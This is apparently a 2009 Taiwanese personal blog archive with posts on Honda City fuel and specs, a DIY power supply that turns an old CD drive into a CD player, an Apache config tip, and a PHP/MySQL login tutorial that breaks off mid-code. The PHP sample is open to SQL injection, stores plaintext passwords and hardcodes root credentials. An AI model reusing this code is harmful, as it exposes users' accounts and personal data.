摘自:http://tw.knowledge.yahoo.com/question/question?qid=1607022306245
- Nov 04 Wed 2009 17:46
-
網路上找到的…有關city資料
摘自:http://tw.knowledge.yahoo.com/question/question?qid=1607022306245
- Nov 01 Sun 2009 03:21
-
Honda City 1.3適用的油種--加92好還是95無鉛汽油好?
Q4: 什麼是 98 無鉛汽油? 98 無鉛汽油與目前市售的 95 及 92 無鉛汽油,有何不同?
所謂 98 或 95、92 無鉛汽油是指汽油內所含辛烷值的數目而言,不同數目辛烷值的汽油,適用於不同壓縮比引擎。一般而言,98 無鉛汽油適用於壓縮比 9.8 以上的汽車,壓縮比 9.2 到 9.7 之間的汽車適用 95 無鉛汽油,壓縮比 9.2 以下的汽車,適用 92 無鉛汽油。
各汽車廠在推出新車型時,都會對選用的汽油種類,進行全面的測試,依據測試結果,推薦該車型最適合的汽油。因此,車主最好選用車廠推薦的汽油種類,以充份發揮汽車原設計性能。
Q7: 原使用 95 及 92 無鉛汽油的中、低壓縮比汽車,若改用 98 無鉛汽油是否有好處?
低壓縮比車種改用較高辛烷值汽油時,不會產生爆震現象。但是因為壓縮比低,燃燒較不完全,耗油量會增加,也對污染改善沒有幫助,其排氣污染會較高,無法充份發揮高辛值汽油的優點,也不會增加馬力。因此,為愛車選擇適用的辛烷值汽油才是正確的。
---------------------所以…Honda City 1.3 壓縮缸比9.1低於9.2,故較適用於92無鉛汽油。
- Nov 01 Sun 2009 02:04
-
換車…97 Honda City 1.3--分享的部落格
在2009年的10月底把開了9年多的SUBARU Legacy 2.2賣掉了,是一個剛畢業在旗山工作的研究生買的30000+4200稅,過戶的時候還請他女朋友一起過來看咧…
隔一天,把約好了住在鳳山八德路大樓的李國華先生約出來把他開的Honda City 1.3過戶到我名下…花了3.8萬元。所以兩台車等於是我貼3800元換車啦…換車的動機主要是2.2太傷了,油、稅、保養、維修都傷,雖然它的舒適性並不輸新車,但還是換小車好了。
在網路上Honda City的支援還蠻多了,像台中一位小賴跟我一樣買了同年份97年的City 1.3,而且還是一位常DIY的玩家,也不另嗇的分享他的心得:他的部落格
http://tw.myblog.yahoo.com/jw!emyJu..CFwOi.jUpREQRLw--/
近期正要學他買「氣門.燃燒室清潔劑」也稱為化油器清潔劑來做「節氣門的清潔」。網址:http://tw.myblog.yahoo.com/jw!emyJu..CFwOi.jUpREQRLw--/article?mid=856&prev=888&next=762&l=f&fid=22
前兩天剛自己換完水箱的水…第一次換沒經驗還請教公司旁的保養廠老板,哈哈,還被他唸,真 得隔行如隔山啊!
另個有分享的部落格:http://hondacity99.blogspot.com/
-------------------------從以上兩個部落格整理的Honda City規格
city 1.3 的引擎規格
Honda City LX 1.3 (1343cc) SOHC 16V M5/A4
壓縮比9.1 馬力95PS/6500rpm 扭力12.1Kg-m/4700rpm
city 1.5 的引擎規格
Honda City LX/EX 1.5 (1493cc) SOHC 16V A4
壓縮比9.4 馬力105PS/6400rpm. 扭力13.4Kg-m/4600rpm
機油: 3.3L
機油濾心:
15400-PR3-004 (CO-307)
15400-PR3-810
ATF: honda ATF-Z1 約 2.8瓶
油箱: 45L
胎壓: 28~32 psi (recommend: 30 psi)
空濾:
17220-P2F-A01
17220-P2A-005
雨刷: 20", 18"
引擎: D15B型 直4 1.5L SOHC
電瓶: 46B24L(S)
火星塞: BKR5E-11(小頭)
輪胎螺絲扭力: 108 N*m, or 11 kg*m
感謝 Mobile01 的 r75761 大 提供保險絲的配置圖
原發表:
http://www.mobile01.com/topicdetail.php?f=261&t=579917
- Oct 23 Fri 2009 15:17
-
在網路上找到HTC DAIMON的維修手冊--英文的
- Oct 21 Wed 2009 09:59
-
舊光碟機DIY大改造,變身CD音響
舊光碟機DIY大改造,變身CD音響!
文 / 圖 廖偉翔
■ 舊物再利用
在玩了幾年的電腦之後,你是否手邊有一堆因汰舊換新而屯積已久的電腦硬體,舊歸舊但還是可以用,想丟嘛又覺得浪費,要拍賣又賣不到好價錢,堆積久了也是易沾染灰塵,再不然更慘的就是直接放到壞,倒不如拿來好好利用一番,賦予它新生命,您說~是吧?
這次的主題主要是利用舊式的光碟機再加以改造後,即可變身擁有CD音響的功能,我們目前一般市面上的光碟機,在面板上皆採用單一按鍵的設計來控制托盤進出,若是想要在電腦上聽音樂,除了MP3之外,就得直接將音樂光碟放入光碟機內,並使用media player或其它多媒體軟體來讀取碟片上的音軌,不過在較舊型的光碟機中,通常設計有兩組按鈕,一個為控制托盤進出用,另一組則可直接撥放CD,也就是說我們只要將CD放入光碟機中直接按『撥放鍵』,接上耳機或喇叭即可將光碟機直接當作是CD音響用,並不用透過軟體來執行讀取音軌的動作,雖然沒有特殊的功能,像是記憶撥放順序、模擬音場、重覆等選項,但對於單純的聽CD而言,倒是一項舊物再利用,方便又省錢的選擇。
圖 / 一樣是普通的光碟機,就有單鍵雙鍵之分,不過目前雙鍵的機種,光碟機廠已不生產。
■ DIY大改造
想要直接把舊式的光碟機從電腦中取出並讓它獨立工作,只有一個要克服的難題,即是『電源』的供應,每台光碟機對於電源的基本需求都是直流電壓(DC) 5和12伏特(V),但是在電流的要求上即不太相同,小編觀察了幾款舊式且俱備雙鍵的光碟機,有的需要1安培(A),有的則是1.5A~0.8A不等。簡單的說,就是要DIY打造一款簡單的電源供應器,將一般室內用電所提供的110V交流電(AC)轉換成直流電(DC),來供給光碟機所需要的直流電壓和電流,但是這款電源供應器又必須可以同時輸出兩組不同的電壓值(5和12V),因此無法以一般的變壓器直接改裝接頭使用,另外設計這組穩壓電路的好處是除了可用來接在光碟機之外,只要對於使用的電壓和電流皆在設計範圍內的電子產品,皆可透過這組電路來發揮其功能。
■ 認識必要的電路元件和觀念
在製作光碟機變身CD音響前,我們必須要先來認識一下,必須要使用到的電子元件在電路中所扮演的角色與工作,在一般的電路中所見到的電子元件千百種,在這款穩壓電路中所使用的材料皆為常見的電子元件,較少特殊電子零件,因此針對這些元件的功用及如何辨識加以說明,方便DIY玩家輕鬆採購零件,回家拼裝,而且認識了電路中必須用到的電子元件後,對於製作電路上的過程和困難也會來得簡單一點。在電子世界的學問裡,有個很基本且重要的觀念,同時也是一個公式,即是『歐姆定律』。歐姆定律簡單的定義三種電量(電壓、電流、電阻)中,量總是和電壓成正比,但卻和電阻成反比,這項簡單的定律更用在高複雜的理論、電路和系統分析中做為基礎。
● 電阻(Resister):
我們一般皆縮寫為R,單位是『Ω』,讀音為『歐姆』- Ohm,電阻的功能在於限制電路中的電流大小,如果把電路譬喻成流動中的河流,那河水的流量可以想像成是電流的大小,當我們增加河裡頭的障礙物或是限制河道的寬度時,水流量自然會變小,在大自然界中,每種物質各有不同的電阻值,包含我們人體在內,即便是皮膚、骨骼到血液都有不同的阻抗值。利用不同的材料的電阻來改變電路中某些點的阻抗值,便可以達到限制電路中的電流大小,基本上電組這項零件是不分極性的,也就是說你倒著插,正著插,它都可以正常工作。電阻依構造及材料可大致分為:
1.固定式電阻: 固定式電阻也就是阻抗值無法更動,製造時即已固定。類型有碳膜電阻、精密電阻、金屬膜電阻、水泥電阻、線繞電阻以及排阻等。在這些分類當中以金屬膜電阻的溫度穩定性較佳,精密電阻的誤差值較低,碳膜電阻誤差較大,同時也容易隨溫度變化,因此只被用在不要求精密和穩定的電路中。水泥電阻因為灌了水泥,所以可以較耐熱,但因為具有電感性,所以不適合用在高頻電路上,排阻則用在數位電路中較多,各種電阻皆有其優缺點,玩家依需求自行選擇。一般在電腦的主機板上大量使用的電組皆為貼片電阻,採用機器直接壓上去,幾乎不佔空間。一般DIY玩家常自行購買使用的電阻大都以碳膜和精密電阻較為普遍,這兩種電阻在外觀上分別以四色和五色的色碼做為區分。
A 以四色色碼標示的電組,誤差值在±5%以內,如圖中的電阻色碼為『紅紫橙金』,根據對照表,所以代表的阻抗值即為2 - 7 - 103 - 10-1 =27KΩ ±5%。

表 / 色碼電阻阻抗及誤差數值對照表。
圖 / 實際以數位式電錶量測色碼為『紅紫橙金』的27KΩ電阻,測試值僅26.8KΩ,雖然有些許誤差,但還在容許範圍內,若是測試值無法顯示或誤差太大,即有可能代表該電阻損壞或故障。
B 以五色色碼標示的為精密電組,誤差值比四色色碼的電組小,誤差值在±1%以內,實際阻抗值即更為精確,在色碼的對照上同四條色碼的電阻,僅在數值的部份再多一條色碼,其餘誤差值和倍數均相同。
圖 / 外觀上俱有五種色碼的為精密電阻,前三個色碼為數值,後兩個色碼分別代表倍數和誤差值。
2.可變電阻: 與固定電阻相比,除了外型不太相同外,同樣不分極性,最大的差異即是在阻抗值是可隨使用者需求自行調整,在可變電阻的底部有三支接腳,在使用時僅用到兩組,在外觀上亦會標示該電阻的阻抗值,例如圖中的B10K,即代表該電阻的阻抗值可透過旋鈕調整,由0至10KΩ間變化。
圖 / 利用電錶量測10KΩ的可變電阻,測試最大值可調整至10.87KΩ,最小至0。
圖 / 在可變電阻的底部有三支接腳,假如以1、2、3標示,共可搭配出三種組合(1&2、2&3、1&3),其中有一組的接腳在量測時,無法透過旋鈕調整阻抗值的,另外兩組可任意調整阻抗值的高低,兩組中擇一用來串接或並接電路,另一支沒用到的接腳,空接即可。
● 電容(Capacitor):
我們一般皆縮寫為C,單位是『F』,讀音為『法拉』- Farad,電容的主要功用在於暫時儲存電路中的電能,在內部是由兩片非常接近的導體構成,當電路中的電壓升高時,電容的兩極上即會充滿電荷,因此導體的面積越大,可以儲存的電荷量也就越多,電荷量越多,相對的電容值就越高表 / 電容常用單位與讀音 所以電容值越高的電容,在外觀的體積上也就越大。電容大致上可分為固定、半可變、可變電容三種。常見的有陶瓷電容、電解電容、鉭電容(讀音:ㄊㄢv,也就是常聽到的固態鋁質電容),分別依照特性和發揮的作用不同,所以在電腦中的主機板和顯示卡上分佈的位置和使用時機也就不同。在這次欲使用的穩壓電路中,我們使用到陶瓷和電解電容。電容除了『無極性金屬膜電容、陶瓷電容、雲母電容』三種不分極性外,其它種類的電容皆有極性之分,在使用過程中需特別注意極性之差別。
A 電解電容:電解電容的內部是以液體電解質做為主要的材質,這也是為什麼偶有所聞『電容爆漿』意外發生時,會流出黃黃液體的原因。在外觀上各家廠商通常皆會標示該電容的容量、耐壓、誤差、耐溫值,不過並沒有一定的標準,所以在選購上需多加留意。電解電容在底部會有長短兩支接腳,通常是以長的代表正極,短的為負極,負極在包裝膜上也會有箭頭標示,正因為電容有正負極性之分,所以在使用時,需特別注意極性,否則一旦極性接反,接上電源後,即有可能會聽到比鞭炮還大聲的爆炸聲,會有傷害的危險。
圖 / 這個電容在外觀上標示容量為1uF、耐壓50V、耐溫105度,底部用長短兩支接腳和包裝上的箭頭來輔助區分正負極性差別,長為正-短為負。
B 陶瓷電容:就是以陶瓷做為主要材質,優點是絕緣佳和耐溫高,可製作成小體積,但電容質也礙於體積小的關係,所以電容值無法太高,陶瓷電容是不分極性的,在外觀上通常以圓餅狀為主,外表並不會標示耐壓值,基本上耐壓為50V,除非耐壓值特殊才會特別註明。
圖 / 陶瓷電容在外觀上通常僅以三位數字標示,1為十位數、0 為個位數、4為十的幾次方,基本單位為pF,所以圖中標示104的實際電容值為1-0-104 pF =0.1uF。
● 二極體(Diode):
二極體應該算是半導體中構造最簡單的一項元件,簡單的說二極體就像是電路中的單行道,電流必須大到某一個程度時,才有辦法通過二極體,而電流的方向則依二極體指的方向而定。
圖 / 二極體在外觀上有點像是黑色的小鞭炮,在一端會有一小節為灰色,該灰色端即代表二極體的方向和極性,灰色端代表負極,也代表電流的方向。
圖 / 二極體可利用電錶上的2K歐姆檔(有標示二極體符號),以探棒正接正、負接負的方式來檢測二極體是否良好或損壞。
● 發光二極體(Light Emitting Diode):
它也就是我們常聽到的LED,當電流通過時,二極體即會發光,也因為它低耗電、壽命長、低功率,沒有什麼污染的特性,在日常生活上被我們使用的非常廣泛,小至電腦的電源指示燈、大至車輛照明、住家、戶外照明等。在這次製作的穩壓電路中,同樣加入LED搭配電阻使用,該電阻用來保護LED避免電流過大燒燬,藉由LED發光與否,得知電路能否正常過電。
圖 / 發光二極體同樣以長端腳之分來區別正負極,長為正-短為負。
圖 / 當發光二極體買回家欲使用前,可先使用三用電錶調整至歐姆檔的2K或200Ω,再以紅探棒接長腳端,黑探棒接短腳端,使發光二極體發亮,若有亮則表示該LED正常。
● 橋式整流(Bridge Diode):
是由四枚二極體所組成的一個元件,一般我們家用電源為交流110V,透過變壓器降壓後,仍然還是交流電,因此必須通過『整流』和『濾波』的動作,才能以直流的電壓輸出,若利用『示波器』儀器可以觀察一般交流電壓的輸出波形為正弦波,有正負半週之分,而橋式整流的工作即是將交流電的正負半週,皆轉換為正半週輸出,以利一般的直流電路使用。橋式整流除了在外觀上有區分之外,所能承受的電流安培數也不同,在挑選時更需多加注意,避免燒燬。
圖 / 橋式整流在外觀上因應電路的需求,所以外型皆不太相同,此款為扁型,其他樣式還有圓型、方型等。
圖 / 橋式整流的功能在於提供完整的正半週輸出。
● 穩壓IC:
在所有的穩壓電路中,通常皆會搭配一顆穩壓IC使用,至於要使用哪一顆IC,則依電路輸出的需求和特性來決定,在此我們選用這顆編號為LM317的IC,LM317本身可提供超過1.5A的電流輸出(可調整),電壓則為1.2~37V(可調整),內部並有溫度負載保護,藉由這些電壓和電流的輸出特性,相當適用於這次舊光碟機DIY大改造的需求。
圖 / LM317各接腳功能。
●工具類:
雙鍵光碟機x1台、麵包板x1塊、三用電錶x1台、單心線x1盒、尖嘴鉗x1支、焊槍x1支、焊錫x1卷、吸錫器x1支、助焊工具x1支、大四pin接頭x1個。

圖 / 準備一台雙鍵光碟機,但必須可正常讀取、撥放CD。

圖 /一塊實驗電路用的麵包版,初接觸者對於麵包板肯定很陌生,我們將這塊電路板分為八個區塊,八個區塊基本上是互相不通的,其中2、3、6、7區塊是上下直的通,1、4、5、8則是左右橫的通,至於直的通和橫的通,對於電路上有何影響?則在下段文章裡會詳盡解說。

圖 / 單心線為平常在製作電路中,必備的輔助工具,長短不一的單心線,讓元件與元件間更容易連接。

圖 / 下方的焊槍和焊錫為焊接的必備器具,上方的吸錫器則是用來誤焊時,清除錫箔用。

圖左 / 尖嘴鉗用來彎折元件的金屬接腳,讓我們將元件插至麵包板上,更加方便容易。右邊的焊接輔助工具則用來拆卸大四pin接頭。
圖右 / 準備一條大四pin的電源線,用來做為光碟機與電路間的電源傳輸介面。

●電子元件類:
變壓器x1、橋式整流x1、電源插頭x1、電容x6(包含2200uF x2、1uF x2、0.1uF x2)、電阻x6(包含1K x2、220 x2、27K x2)、可變電阻x2(5K 和10K)、二極體x2、發光二極體x2、LM317 ICx2。
圖 / 橋式整流在零件上即有標示該接腳的作用,方便使用者輕易辨認。

圖 / 110V轉15V的變壓器,一邊提供可輸入交流110V或220V,另一面則為兩組15V輸出。

圖 / 一般常見的電源線,在電子零件商店有現成的可買,或者是可直接剪裁家中壞掉或欲丟棄的電器用品上的電線。

圖 / 製作電路中會使用到的三種電容,在採購時建議每種電容至少買三個,以備不時之需。

圖 / 製作電路用的所有電阻,選購時同樣與電容相同,多買一兩個做為備用。

圖 / 最重要的元件之一LM317 IC、二極體、發光二極體。
■ 製作電路前的基本觀念
在製作電路前,對於首次體驗自行組合電路的玩家必須先擁有一些基本觀念,這些小觀念對於組合電路的過程是有絕對的重要性和幫助。首先要進入電子世界的門檻,串聯和並聯的概念是非常重要的,我們以最簡單的電阻串並連來作為簡單的解釋,根據前面所提的歐姆定律:E = I x R,三者的關係是互相關聯且緊密的。
●電阻串並聯:

圖 / 左邊的電路為電阻串聯,右邊為並聯。在計算方式上串聯為R1+R2 = 10K+10K = 20KΩ,並聯為(R1 x R2) / (R1+R2) = (10K x 10K) / (10K + 10K) = 5KΩ,串並聯的不同也會影響到電流和電壓的不同。
●電壓的串並聯:

圖 / 根據歐姆定律I=E / R,所以在左側的串聯電路中的電流即為I= 20V / (10K+10K) = 1 mA,在R1和R2上的電壓則因為串聯的關係,在電流相同的情形下,V1和V2的電壓值皆為E= 1m x 10K = 10V。在並聯電路中,由前一段的電阻並聯得知為5KΩ,所以I= 20V / 5K =4mA,輸出電壓Vo = 5K x 4m = 20V。
●電流的串並聯:

圖 / 串聯電路中的電流I = 20V / (10K+10K)=1mA,並聯電路中總電流I = 20V / 5K = 4mA,I1和I2的電壓值均相同,所以各別分得的電流即為I1=I2=20V / 10K = 2mA。

圖 /由以上三種電阻、電壓、電流在串並聯間的關係,可以結論出『串聯=>電流相同』,『並聯=>電壓相同』,所以在我們欲組裝的電路中,當組合完成後,利用電表量測輸出電壓時,電錶必須與電路的輸出端是採用並聯,量測電流時則採用串聯的方式,這樣才能讓電錶量測到正確的輸出值,以利我們藉由可變電阻來調整輸出的電壓和電流值,以防輸出過低無法讓光碟機正常工作或是輸出值過高導致光碟機燒毀。
■ 麵包板使用注意事項
在這段裡我們介紹麵包板如何搭配元件使用,麵包板基本上可劃分為好幾個區塊,有所謂橫的通,直的通,對於初接觸者而言,肯定『霧煞煞』,實際以電子零件安插在上面會較容易了解。
圖 / 為何前一張圖的1號電阻安裝方式無作用,原因在於安裝的位置底下的五個空格,內部是採用金屬材質並且是互通的,就等於該電阻與一條線並聯,呈現短路的狀態,而這條線的阻值為0,所以即使再怎麼大的電阻和0並聯的結果,仍然是0,所以該電阻並沒有任何作用。

圖 / 圖中2跟3號電阻的安裝方式是允許的,中間都有區隔開來,1號電阻的安裝方式,則會使得該電阻呈現出短路,1號電阻並沒有作用。

圖 / 圖中1和3號電阻的安插方式也是允許的,因為它們所安插的腳座位置都不會造成上面的情形發生,但2號電阻的情形則相同於前一張圖,因為安插的位置是橫的互通,所以也會造成2號電阻無作用。

圖 / 下圖麵包板的電路就是按照左側的電路圖所安插,可以注意利用麵包板的孔位來達成串並聯的電路,而下圖最右邊的0.1uF陶瓷電容,因為元件接腳長度太短的關係,可以透過麵包板的孔位和單心線的搭配來與其它元件成為並聯的狀態。其實由這裡的安插示範就可以了解麵包板中橫的互通孔位,讓我們用來當作是電路中的並聯連接線是相當方便的。

■ 可調式變壓器製作電路圖
這張電路圖就是我們這次欲DIY製作的電路,對於初接觸的DIY玩家而言,可能覺得非常複雜且困難,首先我們可以將這電路劃分為兩個區塊,分區組合會較為容易,利用一塊麵包板就可以將電路組合完成並且輸出電壓。觀察這組電路的兩個圈選處,可以發現是兩組一模一樣的電路,採用並聯的方式組合而成,原因就在於我們光碟機的吃電需求為12V和5V,因此我們利用兩組可調電路將變壓器降壓後的15V,經過調整,可分別提供輸出為12V和5V,再經由調整電流,即可讓光碟機正常工作,這也是這次DIY電路中最重要的工作重點。

圖 / 可調式變壓器製作電路圖。
■ 組合電路步驟
Step1:
首先將事先準備好的變壓器和電源線取出,使用焊槍和焊錫,將電源線焊在110V和0V端,另一頭使用線盒中,最長的兩條單心線(12.5cm),同樣焊住15V(兩組擇一即可)和0V,隨即完成變壓器的焊接工作。

Step2:
接著再將大四pin電源線取出,利用焊接輔助工具的尖頭端,將母接頭內的電源線卡榫向內擠壓,即可將電源線抽出,公接頭端則用來和光碟機相接,無需拆卸,母接頭的『黃黑黑紅』四條線,則用單心線焊接,準備和製作完的電路輸出端相接。

Step3:
因為這次購買的橋式整流,買到接腳太粗的…> <",麵包板插不下去,不得已只好在接腳上焊單心線,才能和其它元件透過麵包板相連。

Step4:
依電路設計圖,開始拼接第一個區塊的電路,在電路的尾部,特別加了一條延長的紅色單心線,主要用來方便量測電壓和較清楚識別第一組的輸出位置,因為在眾多孔位的麵包板,長時間注視下,容易眼花。

Step5:
在這步驟裡,主要就是組合第二區塊的電路,並且與第一區塊並聯,直的紅線為電源部份的並聯,灰棕白三條串接起來的單心線為接地並聯。在組合完成後,建議再依電路圖檢查一遍各連接線的位置、電容的極性、IC的腳位接線等,通常每個人在麵包板上組合完電路後,實際與電路相比,在各元件的位置上會有些許落差,為了避免電路誤動作,最後再check一次較安全。

Step6:
確認電路組合無誤後,接著再將變壓器連接橋式整流,並且插上電源送電,雙LED皆有動作,表示兩區塊的電路元件有過電。

Step7:
通電後,我們以三用電錶調整至直流檔位-20V,量測第一組電路的電壓輸出(採用並聯方式),再透過第一個可變電阻,將電壓調整至12V,若無法調整電壓值,先將插頭拔除,再檢查電路。

Step8:
調整完第一組輸出後,接著重覆步驟7,同樣調整第二組電路的輸出電壓至5V。若兩組輸出皆可調整至5V和12V,則該電路已接近完成的80%。

Step9:
為了確保電路可以正常工作和避免光碟機燒燬的疑慮,我們可以先利用一般裝在機殼上的風扇,同樣吃5和12V,先行接在電路上試驗,試機跑個10~20分鐘,沒問題的話,就大功告成,可以接在光碟機上聽音樂了!!!。

■ DIY Part2
在費盡千心萬苦組合完電路後,可以將電路焊在PCB板上,不過接線的困難度比起麵包板更是難上一層,雖然沒有麵包板有區分直的通、橫的通的限制,但元件的連接完全要靠自己接線,除非您是這方面的老手,不然倒是不太建議焊在PCB板上,直接用麵包板當底座,雖然體積上大了一點,但在檢修、組合上是來得比較方便的,隨時皆可快速的更換零組件。
■ 舊光碟機DIY速改法

若是看完製作電路的過程,覺得太麻煩又花時間的話,這裡小編再提供另一個DIY的快速改法,在目前PC產品淘汰這麼快的速度下,隨便挑個家裡有多的電源供應器或者是買機殼附贈的白牌POWER都可以,不用管瓦數大小,只要可以用就行,將電源供應器的主接頭(就是接在主機板上最大最粗的那條),不論是24pin或是可以拆卸的20+4pin,還是舊式的20pin接頭都一樣,尋找綠色線和其中任一條黑色線,只要插條單心線或是迴紋針讓兩條線短路,就可以啟動power,這條綠色線在主接頭中只會有一條,主要就是用來控制電源供應器的開和關。
圖 / 將綠線和黑線相接就可以啟動電源供應器,注意看POWER的風扇有在轉喔!。
因此短路之後的電源供應器就可以不用透過主機板啟動,單純使用後方的開關,控制power啟動即可,最後再將大四pin插頭接上光碟機,輕鬆讓光碟機變身CD音響就完成啦。不過讀者看到這可能會OX小編,這個這麼簡單,前面卻寫了一拖拉庫,話又說回來嘛…DIY的精髓在於享受那過程咩。
■ 設計包裝您的音響
在完成光碟機DIY改造後,光碟機已經可以完全脫離電腦的掌控,並且獨立運作,若是DIY玩家想要赤裸裸的就直接將變壓器、電路和光碟機相接,攤在桌上,也是OK的,畢竟DIY的樂趣在於享受那製作的過程和完成後的成就感嘛~但是若您總覺得讓光碟音響赤裸裸的擺著不好看的話,那也是可以發揮自我創意和設計巧思為光碟機打造一個專屬的外殼也不賴。我們在此就以『鞋盒』和一件『破衣服』來發揮DIY的精神吧!!

圖 /Step1:準備一個普通的鞋盒,若要放一般機殼的電源供應器則要改用裝球鞋的鞋盒才夠大。

圖 / Step2:鞋盒加工的必備工具:破衣服、打火機、白膠、美工刀、剪刀、筆、尺、焊接輔助工具。

圖 /Step3:鞋盒內部擺設,因為顧慮到鞋盒的大小,所以採用的是準系統內的迷你電源供應器。

圖 /Step4:完成加工的鞋盒,連光碟機面板、托盤、按鈕、音源輸出孔都要獨立出來一併貼布,雖然不是盡善盡美,但至少有像是台音響了!托盤上的布,黏貼時要特別注意,否則卡到布的話,托盤關上時就無法密合了。

圖 / Step5:啟動電源供應器,退出托盤,準備好CD聽音
- Oct 20 Tue 2009 09:49
-
apache的「目錄」安全性
在以下的httpd.conf設定檔中,去除其中的Options選項中的Indexes就不會在瀏覽時
出現網頁的「目錄」
<Directory /var/www/web/downloads/>
AllowOverride None
Order allow,deny
allow from all
- Oct 16 Fri 2009 20:54
-
php會員登錄範例
(1) 首頁 - 登入頁面 (index.php)
<!-- 設定網頁編碼為UTF-8 -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form name="form" method="post" action="connect.php">
帳號:<input type="text" name="id" /> <br>
密碼:<input type="password" name="pw" /> <br>
<input type="submit" name="button" value="登入" />
<a href="register.php">申請帳號</a>
</form>
(2) php連結MySQL資料庫語法(mysql_connect.inc.php)
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
//資料庫設定
//資料庫位置
$db_server = "localhost";
//資料庫名稱
$db_name = "mydb";
//資料庫管理者帳號
$db_user = "root";
//資料庫管理者密碼
$db_passwd = "1234";
//對資料庫連線
if(!@mysql_connect($db_server, $db_user, $db_passwd))
die("無法對資料庫連線");
//資料庫連線採UTF8
mysql_query("SET NAMES utf8");
//選擇資料庫
if(!@mysql_select_db($db_name))
die("無法使用資料庫");
?>
(3) 會員ID、PW與MySQL資料庫作認證(connect.php)
<?php session_start(); ?>
<!--上方語法為啟用session,此語法要放在網頁最前方-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
//連接資料庫
//只要此頁面上有用到連接MySQL就要include它
include("mysql_connect.inc.php");
$id = $_POST['id'];
$pw = $_POST['pw'];
//搜尋資料庫資料
$sql = "SELECT * FROM member_table where username = '$id'";
$result = mysql_query($sql);
$row = @mysql_fetch_row($result);
//判斷帳號與密碼是否為空白
//以及MySQL資料庫裡是否有這個會員
if($id != null && $pw != null && $row[1] == $id && $row[2] == $pw)
{
//將帳號寫入session,方便驗證使用者身份
$_SESSION['username'] = $id;
echo '登入成功!';
echo '<meta http-equiv=REFRESH CONTENT=1;url=member.php>';
}
else
{
echo '登入失敗!';
echo '<meta http-equiv=REFRESH CONTENT=1;url=index.php>';
}
?>
(4) 會員登入成功後 頁面 - 此頁面有「新增」、「修改」、「刪除」與「登出」的連結
並且會顯示出所有會員資料(member.php)
<?php session_start(); ?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
include("mysql_connect.inc.php");
echo '<a href="logout.php">登出</a> <br><br>';
//此判斷為判定觀看此頁有沒有權限
//說不定是路人或不相關的使用者
//因此要給予排除
if($_SESSION['username'] != null)
{
echo '<a href="register.php">新增</a> ';
echo '<a href="update.php">修改</a> ';
echo '<a href="delete.php">刪除</a> <br><br>';
//將資料庫裡的所有會員資料顯示在畫面上
$sql = "SELECT * FROM member_table";
$result = mysql_query($sql);
while($row = mysql_fetch_row($result))
{
echo "$row[0] - 名字(帳號):$row[1], " .
"電話:$row[3], 地址:$row[4], 備註:$row[5]<br>";
}
}
else
{
echo '您無權限觀看此頁面!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=index.php>';
}
?>
(5) 登出 - 洗掉登入使用者之session(logout.php)
<?php session_start(); ?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
//將session清空
unset($_SESSION['username']);
echo '登出中......';
echo '<meta http-equiv=REFRESH CONTENT=1;url=index.php>';
?>
(6) 加入(註冊)會員 - 「填寫」會員資料 (register.php)
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form name="form" method="post" action="register_finish.php">
帳號:<input type="text" name="id" /> <br>
密碼:<input type="password" name="pw" /> <br>
再一次輸入密碼:<input type="password" name="pw2" /> <br>
電話:<input type="text" name="telephone" /> <br>
地址:<input type="text" name="address" /> <br>
備註:<textarea name="other" cols="45" rows="5"></textarea> <br>
<input type="submit" name="button" value="確定" />
</form>
(7) 加入(註冊)會員 - 「新增」會員資料進MySQL資料庫 (register_finish.php)
<?php session_start(); ?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
include("mysql_connect.inc.php");
$id = $_POST['id'];
$pw = $_POST['pw'];
$pw2 = $_POST['pw2'];
$telephone = $_POST['telephone'];
$address = $_POST['address'];
$other = $_POST['other'];
//判斷帳號密碼是否為空值
//確認密碼輸入的正確性
if($id != null && $pw != null && $pw2 != null && $pw == $pw2)
{
//新增資料進資料庫語法
$sql = "insert into member_table (username, password, telephone, address, other) values ('$id', '$pw', '$telephone', '$address', '$other')";
if(mysql_query($sql))
{
echo '新增成功!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=index.php>';
}
else
{
echo '新增失敗!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=index.php>';
}
}
else
{
echo '您無權限觀看此頁面!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=index.php>';
}
?>
(8) 修改會員資料 - 「填寫」要修改之會員資料(update.php)
<?php session_start(); ?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
include("mysql_connect.inc.php");
if($_SESSION['username'] != null)
{
//將$_SESSION['username']丟給$id
//這樣在下SQL語法時才可以給搜尋的值
$id = $_SESSION['username'];
//若以下$id直接用$_SESSION['username']將無法使用
$sql = "SELECT * FROM member_table where username='$id'";
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
echo "<form name=\"form\" method=\"post\" action=\"update_finish.php\">";
echo "帳號:<input type=\"text\" name=\"id\" value=\"$row[1]\" />(此項目無法修改) <br>";
echo "密碼:<input type=\"password\" name=\"pw\" value=\"$row[2]\" /> <br>";
echo "再一次輸入密碼:<input type=\"password\" name=\"pw2\" value=\"$row[2]\" /> <br>";
echo "電話:<input type=\"text\" name=\"telephone\" value=\"$row[3]\" /> <br>";
echo "地址:<input type=\"text\" name=\"address\" value=\"$row[4]\" /> <br>";
echo "備註:<textarea name=\"other\" cols=\"45\" rows=\"5\">$row[5]</textarea> <br>";
echo "<input type=\"submit\" name=\"button\" value=\"確定\" />";
echo "</form>";
}
else
{
echo '您無權限觀看此頁面!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=index.php>';
}
?>
(9) 修改會員資料 - 「更新」要修改之會員資料進MySQL資料庫(update_finish.php)
<?php session_start(); ?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
include("mysql_connect.inc.php");
$id = $_POST['id'];
$pw = $_POST['pw'];
$pw2 = $_POST['pw2'];
$telephone = $_POST['telephone'];
$address = $_POST['address'];
$other = $_POST['other'];
//紅色字體為判斷密碼是否填寫正確
if($_SESSION['username'] != null && $pw != null && $pw2 != null && $pw == $pw2)
{
$id = $_SESSION['username'];
//更新資料庫資料語法
$sql = "update member_table set password=$pw, telephone=$telephone, address=$address, other=$other where username='$id'";
if(mysql_query($sql))
{
echo '修改成功!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=member.php>';
